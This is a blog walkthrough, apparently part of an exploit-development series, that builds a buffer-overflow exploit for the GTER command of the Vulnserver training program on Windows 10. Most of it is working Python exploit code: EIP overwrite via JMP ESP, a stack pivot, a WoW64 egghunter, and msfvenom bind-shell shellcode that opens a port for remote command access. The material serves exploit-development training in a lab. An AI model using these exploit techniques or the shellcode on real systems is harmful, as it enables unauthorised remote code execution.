Exploiting Windows 10 with Egghunters - Vulnserver [GTER] Walkthrough Part 5

10 minute read

Intro

In this post I will go through the exploitation of the GTER command. If you have followed my posts so far, you will find this very familiar, as the method I was trying to get working on Windows 10 for KSTET is used here and works, bringing my sanity back knowing I was right in my deduction that the egghunter was too long for KSTET.

This post will use EIP overwrites, Stack Pivots and Windows 10 64 bit egghunters.

Source Review

With a new command to attack, it means a new section of code. The code for GTER can be seen below.

void Function1(char *Input) {
    // buffer size 140
	char Buffer2S[140];
    // Vulnerable Copy
	strcpy(Buffer2S, Input);
}

// Snipping out a bunch of code

if (strncmp(RecvBuf, "GTER ", 5) == 0) {
    // Allocate 180 bytes to buffer
	char *GterBuf = malloc(180);
    // Set buffer
    memset(GdogBuf, 0, 1024);
    // Copy 180 bytes of user input into buffer
	strncpy(GterBuf, RecvBuf, 180);	
    // Set RecvBuf (empty it)			
	memset(RecvBuf, 0, DEFAULT_BUFLEN);
    // Call vuln function
	Function1(GterBuf);
    // Send output
	SendResult = send( Client, "GTER ON TRACK\n", 14, 0 );

We can see from above that this is similar to the others, not doing much. Since we know the buffer is around 140 bytes we know the overwrite will be around there.

Fuzzing

Very similar to previous posts, just changing one word to our fuzzer script again. Should get the below.

from boofuzz import *
import time

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(10000)
    except:
        print("Unable to connect. Target is down. Exiting.")
        exit(1)

    my_logger.log_check('Receiving banner..')
    if banner_template in banner:
        my_logger.log_pass('banner received')
    else:
        my_logger.log_fail('No banner received')
        print("No banner received, exiting..")
        exit(1)


def main():

    session = Session(
	sleep_time=1,
        target=Target(
            connection=SocketConnection("127.0.0.1", 9999, proto='tcp')
        ),
    )

    # Setup
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static("GTER", name='command name')
        s_delim(" ")
        s_string("FUZZ",  name='trun variable content')
        s_delim("\r\n")

    # Fuzzing
    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()


if __name__ == "__main__":
	main()

I won’t go through what it is doing exactly since that is covered in other posts.

If we run vulnserver and run that we should hit a crash.

We can see it crashes on a test case with 510 bytes.

Finding Offsets

We will start with a basic exploit skeleton similar to before.

import socket

server = '127.0.0.1'
port = 9999

payload = b"A"*510

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending exploit...")
s.send(b"GTER " + payload + b"\r\n")
print(s.recv(1024))
s.close()

Sending this we hit a crash.

So lets load up winDBG and generate a pattern to find the offset.

!py mona pc 510

Let’s put that into the exploit.

import socket

server = '127.0.0.1'
port = 9999

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending exploit...")
s.send(b"GTER " + payload + b"\r\n")
print(s.recv(1024))
s.close()

Run vulnserver in WinDBG and run the script. We will hit a break and we can calculate the offset of EIP. For me that is 66413066.

!py mona po 66413066

We can see that the offset for EIP is at 151. Let’s confirm we are correct with the offset.

import socket

server = '127.0.0.1'
port = 9999

payload = b"A"*151
payload += b"BBBB"

padding = b"C"*(510-len(payload))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending exploit...")
s.send(b"GTER " + payload + padding + b"\r\n")
print(s.recv(1024))
s.close()

Now when we re-run the exploit against vulnserver (refreshing vulnserver first), we see the EIP of 42424242 which is “BBBB”.

After the KSTET exploits, I thought I would pay more attention to the stack as well.

We can see that even though our exploit sent 355 C’s, only 24 of them have ended up on the stack. This is a similar restriction to KSTET. However, unlike KSTET, we have much more A’s on the stack to work with.

With this information my current plan of attack is:

  • Overwrite EIP to jump to stack
  • Use the C buffer space to implement a Stack Pivot
  • Use the A buffer space to implement an egghunter
  • Use a different command to send our shellcode

Jumping to Stack

To jump to the stack we want to find a JMP ESP instruction, which we can do with mona.

!py mona jmp -r esp

We now have the instruction at 0x62501203, so lets put this into our shellcode.

import socket

server = '127.0.0.1'
port = 9999

payload = b"A"*151
payload += b"\x03\x12\x50\x62" # 0x62501203 JMP ESP
payload += b"\xcc"

padding = b"C"*(510-len(payload))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending exploit...")
s.send(b"GTER " + payload + padding + b"\r\n")
print(s.recv(1024))
s.close()

I have also put a breakpoint just after so we can make sure that it is jumping to the stack. Refresh vulnserver and re-run and you should hit it.

Here we can see the breakpoint executing just before the C’s.

Stack Pivot

Whilst still at the breakpoint, take a look at EAX.

We can see that EAX contains what we sent to the program, and that the first 6 bytes of it are taken up by ‘GTER ‘. So if we add 6 bytes to EAX, it will point to the beginning of our payload. We can then jump to eax and it will start executing our shellcode at the start of our buffer.

We can work out the opcodes for this with mona.

!py mona asm -s "ADD EAX,0x6 # JMP EAX"

This gives us a problem because it gives us opcodes that have null bytes. I tried a few ways of getting this without null bytes. One of these methods was super helpful and within WinDBG.

  • type a in windbg and press enter
  • Enter the instructions you want and press enter
  • press enter again
  • press u and enter

This will give you some opcodes. Still has null bytes, but still handy.

The first I found without null bytes was actually by using this website https://defuse.ca/online-x86-assembler.htm#disassembly and entering the instructions then hitting assemble.

This gives us the opcodes \x83\xC0\x06\xFF\xE0.

83 c0 06                add    eax,0x6
ff e0                   jmp    eax 

Lets try this.

import socket

server = '127.0.0.1'
port = 9999

payload = b"A"*151
payload += b"\x03\x12\x50\x62" # 0x62501203 JMP ESP
payload += b"\xcc"
payload += b"\x83\xC0\x06\xFF\xE0"

padding = b"C"*(510-len(payload))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending exploit...")
s.send(b"GTER " + payload + padding + b"\r\n")
print(s.recv(1024))
s.close()

Now run it, hit the breakpoint and then step into execution (F8). Hopefully you should see it add 6 to EAX, then jump back to the start of your buffer.

This shows that the stack pivot is complete.

Egghunter

Now that we can get back to our larger buffer space, lets make an egghunter. I am on Windows 10 64 bit so we will account for that.

!py mona egg -t keeb -wow64 -winver 10

This gives us an egg with a breakpoint at the start so remove the first byte (or bytes) untill you get to the \x33.

Lets add that into our exploit with a bit of a NOP sled since we have the freedom of plenty of space.

import socket

server = '127.0.0.1'
port = 9999

# !py mona egg -t keeb -wow64 -winver 10
egghunter = (b"\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53"
b"\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08"
b"\x3c\x05\x74\xdf\xb8\x6b\x65\x65\x62\x8b\xfa\xaf\x75\xda\xaf\x75"
b"\xd7\xff\xe7")

payload = b"\x90"*10
payload += egghunter
payload += b"A"*(151-len(payload))
payload += b"\x03\x12\x50\x62" # 0x62501203 JMP ESP
payload += b"\xcc"
payload += b"\x83\xC0\x06\xFF\xE0"

padding = b"C"*(510-len(payload))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending exploit...")
s.send(b"GTER " + payload + padding + b"\r\n")
print(s.recv(1024))
s.close()

Lets run this and hit the breakpoint and step through again just to make sure that the egghunter isn’t mangled.

That looks good to me. You can compare the instructions with the corelan website on this page https://www.corelan.be/index.php/2019/04/23/windows-10-egghunter/. The first code block on that page shows what the egghunter will look like. There might be slight differences when you do it due to changes in OS, but in general the commands should compare the same.

If you run it at the moment it won’t find any code but lets add some!

Bind Shellcode

We will add the bind shellcode from our other payloads. We will then send this to the TRUN command (since this can handle a buffer of that size without crashing). This will put the value of the buffer on the heap. We can then use the egg keebkeeb to find it. Let’s add the buffer and verify it is on the heap.

import socket

server = '127.0.0.1'
port = 9999

# !py mona egg -t keeb -wow64 -winver 10
egghunter = (b"\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53"
b"\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08"
b"\x3c\x05\x74\xdf\xb8\x6b\x65\x65\x62\x8b\xfa\xaf\x75\xda\xaf\x75"
b"\xd7\xff\xe7")

payload = b"\x90"*10
payload += egghunter
payload += b"A"*(151-len(payload))
payload += b"\x03\x12\x50\x62" # 0x62501203 JMP ESP
payload += b"\xcc"
payload += b"\x83\xC0\x06\xFF\xE0"

padding = b"C"*(510-len(payload))

# msfvenom -p windows/shell_bind_tcp LPORT=31337 -b '\x00' -f py EXITFUNC=thread
buf =  b""
buf += b"\xdd\xc2\xbb\x9a\x96\xbb\x09\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x53\x83\xc2\x04\x31\x5a\x13\x03\xc0\x85\x59"
buf += b"\xfc\x08\x41\x1f\xff\xf0\x92\x40\x89\x15\xa3\x40\xed"
buf += b"\x5e\x94\x70\x65\x32\x19\xfa\x2b\xa6\xaa\x8e\xe3\xc9"
buf += b"\x1b\x24\xd2\xe4\x9c\x15\x26\x67\x1f\x64\x7b\x47\x1e"
buf += b"\xa7\x8e\x86\x67\xda\x63\xda\x30\x90\xd6\xca\x35\xec"
buf += b"\xea\x61\x05\xe0\x6a\x96\xde\x03\x5a\x09\x54\x5a\x7c"
buf += b"\xa8\xb9\xd6\x35\xb2\xde\xd3\x8c\x49\x14\xaf\x0e\x9b"
buf += b"\x64\x50\xbc\xe2\x48\xa3\xbc\x23\x6e\x5c\xcb\x5d\x8c"
buf += b"\xe1\xcc\x9a\xee\x3d\x58\x38\x48\xb5\xfa\xe4\x68\x1a"
buf += b"\x9c\x6f\x66\xd7\xea\x37\x6b\xe6\x3f\x4c\x97\x63\xbe"
buf += b"\x82\x11\x37\xe5\x06\x79\xe3\x84\x1f\x27\x42\xb8\x7f"
buf += b"\x88\x3b\x1c\xf4\x25\x2f\x2d\x57\x22\x9c\x1c\x67\xb2"
buf += b"\x8a\x17\x14\x80\x15\x8c\xb2\xa8\xde\x0a\x45\xce\xf4"
buf += b"\xeb\xd9\x31\xf7\x0b\xf0\xf5\xa3\x5b\x6a\xdf\xcb\x37"
buf += b"\x6a\xe0\x19\xad\x62\x47\xf2\xd0\x8f\x37\xa2\x54\x3f"
buf += b"\xd0\xa8\x5a\x60\xc0\xd2\xb0\x09\x69\x2f\x3b\x4f\x03"
buf += b"\xa6\xdd\xc5\xc3\xee\x76\x71\x26\xd5\x4e\xe6\x59\x3f"
buf += b"\xe7\x80\x12\x29\x30\xaf\xa2\x7f\x16\x27\x29\x6c\xa2"
buf += b"\x56\x2e\xb9\x82\x0f\xb9\x37\x43\x62\x5b\x47\x4e\x14"
buf += b"\xf8\xda\x15\xe4\x77\xc7\x81\xb3\xd0\x39\xd8\x51\xcd"
buf += b"\x60\x72\x47\x0c\xf4\xbd\xc3\xcb\xc5\x40\xca\x9e\x72"
buf += b"\x67\xdc\x66\x7a\x23\x88\x36\x2d\xfd\x66\xf1\x87\x4f"
buf += b"\xd0\xab\x74\x06\xb4\x2a\xb7\x99\xc2\x32\x92\x6f\x2a"
buf += b"\x82\x4b\x36\x55\x2b\x1c\xbe\x2e\x51\xbc\x41\xe5\xd1"
buf += b"\xdc\xa3\x2f\x2c\x75\x7a\xba\x8d\x18\x7d\x11\xd1\x24"
buf += b"\xfe\x93\xaa\xd2\x1e\xd6\xaf\x9f\x98\x0b\xc2\xb0\x4c"
buf += b"\x2b\x71\xb0\x44"

stage1 = b"keebkeeb"
stage1 += buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending bind shellcode to TRUN...")
s.send(b"TRUN " + stage1 + b"\r\n")
print(s.recv(1024))
s.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending GTER exploit...")
s.send(b"GTER " + payload + padding + b"\r\n")
print(s.recv(1024))
s.close()

Now run this and hit the breakpoint. Then when we are at the breakpoint use mona to find the shellcode.

!py mona find -s "keebkeeb"

We can see that our shellcode is on the heap. We can also look at the stack and see that our egghunter is on the stack OK. If you run it now in the debugger you will keep hitting access violations.

Finalising the Exploit

With it hitting access violations in WinDBG (normal for egghunters), let’s remove the breakpoints we have set in the code and run it against vulnserver without a debugger.

import socket

server = '127.0.0.1'
port = 9999

# !py mona egg -t keeb -wow64 -winver 10
egghunter = (b"\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53"
b"\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08"
b"\x3c\x05\x74\xdf\xb8\x6b\x65\x65\x62\x8b\xfa\xaf\x75\xda\xaf\x75"
b"\xd7\xff\xe7")

payload = b"\x90"*10
payload += egghunter
payload += b"A"*(151-len(payload))
payload += b"\x03\x12\x50\x62" # 0x62501203 JMP ESP
payload += b"\x90"
payload += b"\x83\xC0\x06\xFF\xE0"

padding = b"C"*(510-len(payload))

# msfvenom -p windows/shell_bind_tcp LPORT=31337 -b '\x00' -f py EXITFUNC=thread
buf =  b""
buf += b"\xdd\xc2\xbb\x9a\x96\xbb\x09\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x53\x83\xc2\x04\x31\x5a\x13\x03\xc0\x85\x59"
buf += b"\xfc\x08\x41\x1f\xff\xf0\x92\x40\x89\x15\xa3\x40\xed"
buf += b"\x5e\x94\x70\x65\x32\x19\xfa\x2b\xa6\xaa\x8e\xe3\xc9"
buf += b"\x1b\x24\xd2\xe4\x9c\x15\x26\x67\x1f\x64\x7b\x47\x1e"
buf += b"\xa7\x8e\x86\x67\xda\x63\xda\x30\x90\xd6\xca\x35\xec"
buf += b"\xea\x61\x05\xe0\x6a\x96\xde\x03\x5a\x09\x54\x5a\x7c"
buf += b"\xa8\xb9\xd6\x35\xb2\xde\xd3\x8c\x49\x14\xaf\x0e\x9b"
buf += b"\x64\x50\xbc\xe2\x48\xa3\xbc\x23\x6e\x5c\xcb\x5d\x8c"
buf += b"\xe1\xcc\x9a\xee\x3d\x58\x38\x48\xb5\xfa\xe4\x68\x1a"
buf += b"\x9c\x6f\x66\xd7\xea\x37\x6b\xe6\x3f\x4c\x97\x63\xbe"
buf += b"\x82\x11\x37\xe5\x06\x79\xe3\x84\x1f\x27\x42\xb8\x7f"
buf += b"\x88\x3b\x1c\xf4\x25\x2f\x2d\x57\x22\x9c\x1c\x67\xb2"
buf += b"\x8a\x17\x14\x80\x15\x8c\xb2\xa8\xde\x0a\x45\xce\xf4"
buf += b"\xeb\xd9\x31\xf7\x0b\xf0\xf5\xa3\x5b\x6a\xdf\xcb\x37"
buf += b"\x6a\xe0\x19\xad\x62\x47\xf2\xd0\x8f\x37\xa2\x54\x3f"
buf += b"\xd0\xa8\x5a\x60\xc0\xd2\xb0\x09\x69\x2f\x3b\x4f\x03"
buf += b"\xa6\xdd\xc5\xc3\xee\x76\x71\x26\xd5\x4e\xe6\x59\x3f"
buf += b"\xe7\x80\x12\x29\x30\xaf\xa2\x7f\x16\x27\x29\x6c\xa2"
buf += b"\x56\x2e\xb9\x82\x0f\xb9\x37\x43\x62\x5b\x47\x4e\x14"
buf += b"\xf8\xda\x15\xe4\x77\xc7\x81\xb3\xd0\x39\xd8\x51\xcd"
buf += b"\x60\x72\x47\x0c\xf4\xbd\xc3\xcb\xc5\x40\xca\x9e\x72"
buf += b"\x67\xdc\x66\x7a\x23\x88\x36\x2d\xfd\x66\xf1\x87\x4f"
buf += b"\xd0\xab\x74\x06\xb4\x2a\xb7\x99\xc2\x32\x92\x6f\x2a"
buf += b"\x82\x4b\x36\x55\x2b\x1c\xbe\x2e\x51\xbc\x41\xe5\xd1"
buf += b"\xdc\xa3\x2f\x2c\x75\x7a\xba\x8d\x18\x7d\x11\xd1\x24"
buf += b"\xfe\x93\xaa\xd2\x1e\xd6\xaf\x9f\x98\x0b\xc2\xb0\x4c"
buf += b"\x2b\x71\xb0\x44"

stage1 = b"keebkeeb"
stage1 += buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending bind shellcode to TRUN...")
s.send(b"TRUN " + stage1 + b"\r\n")
print(s.recv(1024))
s.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,port))
print(s.recv(1024))
print("[*] Sending GTER exploit...")
s.send(b"GTER " + payload + padding + b"\r\n")
print(s.recv(1024))
s.close()

Now if we run that against vulnserver without a debugger, we will be able to open up a new terminal and connect with netcat to port 31337, as opened by the shellcode!!

Summary

In this post I didn’t cover much new ground since I had already done egghunters. But I got to confirm that egghunters do work on Windows 10 64 bit and that it was just the length of the buffer working against me in KSTET. It was good to confirm this though and all the debugging I did trying to figure out KSTET made this a very quick exploit to write!

The trick with WinDBG opcodes is also useful, and I need to find something on windows to get the opcodes without null bytes… If I find a good solution I am sure I will be using it in future.